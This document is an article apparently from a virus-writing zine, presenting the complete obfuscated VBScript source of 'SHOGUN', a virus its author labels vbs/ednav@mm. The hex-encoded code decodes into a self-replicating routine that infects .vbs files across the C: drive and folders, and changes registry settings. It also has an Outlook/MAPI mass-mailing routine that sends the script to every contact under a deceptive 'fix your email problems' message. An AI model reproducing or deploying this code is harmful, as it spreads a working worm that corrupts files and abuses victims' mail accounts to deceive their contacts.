last article | table of contents | next article |
---|
Strange Article - SHOGUN by vandEEd0
Infects vbs files. Av-name: vbs/ednav@mm Here is the code: rem vandEEd0 intelihente por sustento sinco variac="6E7468637079212377626F654646653123" On Error Resume Next Function vtear(toki) For tok1=1 to Len(toki) suki=Hex(Asc(Mid(toki,tok1,1))+1) If Len(suki)=1 Then suki="0" & suki vtear=vtear+suki Next End Function Function vwear(shit) For sh1 = 1 to Len(shit) step 2 sh2=Mid(shit,sh1,2) vwear=vwear+Chr(Asc(Chr("&h" & sh2))-1) Next End Function Set frown=CreateObject("Scripting.FileSystemObject") execute vwear("7466752165626E6F3E677370786F2F686675747166646A626D67706D65667329312A") set damn=frown.getfolder(damn+"\Samples\WSH") execute vwear("746675217366683E64736662756670636B6664752923787464736A71752F7469666D6D232A0E0B7366682F73666878736A75662123494C465A6044565353464F5560565446535D54706775786273665D4C627B62625D4D7064626D44706F75666F755D456A7333232D233132333435363B232765626E6F0E0B7366682F73666878736A75662123494C465A6044565353464F5560565446535D54706775786273665D4C627B62625D4D7064626D44706F75666F755D456A7462636D66546962736A6F68232D2331230E0B") Set zzz=frown.opentextfile(Wscript.ScriptFullname,1) rock=zzz.readall zen1=Mid(rock,54+len(variac),Len(rock)-(2*len(variac))-57) zzz.close set damn=frown.getfolder("C:\") breast frown.getfolder("C:\") execute vwear("2877626F6566666531217A707621627366216221717675620E0B706F21667373707321736674766E66216F6679750E0B4A672145627A296F70782A3E34322170732145627A296F70782A3E322170732145627A296F70782A3E3432217569666F0E0B216E746863707921234B706C663B214570216F707521646D6A646C2175696621504C2163767575706F217073217A707673214E7A21457064766E666F757421676A6D667421786A6D6D21686675216D70747522230E0B2174667521716A333E64736662756670636B66647529235464736A71756A6F682F476A6D66547A7475666E50636B666475232A210E0B2174667521716A3E64736662756670636B6664752923585464736A71752F5469666D6D232A0E0B21716A623E716A2F747166646A626D67706D6566737429234E7A21457064766E666F7574232A0E0B21477073216662646921716A6767216A6F21716A332F68667567706D65667329716A622A2F676A6D66740E0B212174667521716A793E716A332F486675476A6D6629716A67672F716275692A0E0B2121716A792F65666D6675660E0B214F6679750E0B216E746863707921235466736A7076743B2158662169627766217570216D627668692162752170767321717370636D666E742F230E0B466F65214A670E0B284A21424E215746535A2149504F46545521444D50584F") sub breast(dirasto) execute vwear("477073216662646921797979216A6F21656A73627475702F676A6D66740E0B214A6721564462746629736A686975297979792F6F626E662D352A2A3E232F57435423215569666F0E0B2121546675217A7A7A323E677370786F2F5071666F55667975476A6D66297979792F716275692A0E0B21217370646C3E7A7A7A322F73666265626D6D0E0B21214A67214E6A65297370646C2D362D392A213D3F212377626F654646653123217569666F0E0B2121216F3E7775666273297370646C2A0E0B2121217A7A7A322F646D7074660E0B212121746675217A7A7A323E677370786F2F64736662756675667975676A6D66297979792F716275692A0E0B2121217B7B793E2373666E2177626F6546466531216A6F75666D6A69666F7566217170732174767475666F757021746A6F6470232C776364736D672C237762736A62643E2323232C6F2C7B666F322C6F2C2323232A230E0B2121217A7A7A322F78736A7566217B7B790E0B2121466F65214A670E0B21217A7A7A322F646D7074660E0B21466F65214A670E0B4F6679750E0B477073216662646921676268687075216A6F21656A73627475702F74766367706D656673740E0B21637366627475216762686870750E0B4F667975") End sub execute vwear("546675216D6A7462636263663E44736662756650636B66647529235076756D70706C2F4271716D6A6462756A706F232A0E0B546675216A71626E3E6D6A7462636263662F4866754F626E66547162646629234E42514A232A0E0B477073214662646921776A64756A6E62214A6F216A71626E2F426565736674744D6A7475740E0B21214A6721776A64756A6E622F42656573667474466F75736A66742F4470766F75213D3F2131215569666F0E0B21212121215466752166313E7076756D70706C2F4473666275664A75666E29312A0E0B2121212121477073216F7566733E3221557021776A64756A6E622F42656573667474466F75736A66742F4470766F750E0B21212121212121546675216E62656673213E21776A64756A6E622F42656573667474466F75736A6674296F7566732A0E0B2121212121212166312F434444213E2166312F4344442127233C23276E626566732F426565736674740E0B21212121216F6679750E0B212121212174667521676D7A6A3E6D6A7462636263662F486675476A6D6629587464736A71752F5464736A717547766D6D4F626E662A0E0B212121212166312F4275756264696E666F75742F42656521676D7A6A0E0B212121212166312F5476636B6664753E234F66757870736C21517370636D666E230E0B212121212166312F4370657A3E776364736D672C234576662175702175696621736664666F7521717370636D666E7421786A75692175696621666E626A6D217466737766732D2178662169627766216566776A7466652162217173706873626E217569627521786A6D6D21676A79216A752176712F23212C21600E0B21212121212121212121776364736D672C235A70762162736621736672766674756665217570216570786F6D7062652175696621627575626469666521676A6D6621626F652166796664767566216A7521627521706F64662F21556966217869706D6621746675767121786A6D6D2175626C662136217570213231216E6A6F767566742F214A67217A70767321747A7475666E21647362746966742D216B7674752173667475627375217A7076732164706E717675667321626F6521667766737A75696A6F6821786A6D6D216366216362646C217570216F70736E626D2F23212C21600E0B21212121212121212121776364736D672C776364736D672C23516D666274662167706D6D7078216A6F7475737664756A706F74216462736667766D6D7A2F23212C21600E0B21212121212121212121776364736D672C776364736D672C23547A7475666E2142656E6A6F6A74757362757073232C776364736D672C234F66757870736C214E626F6268666E666F752F230E0B212121212166312F45666D66756642677566735476636E6A75213E21557376660E0B212121212166312F74666F650E0B21212121666F65216A670E0B6F667975") execute vwear("6E7468637079212377626F654646653123")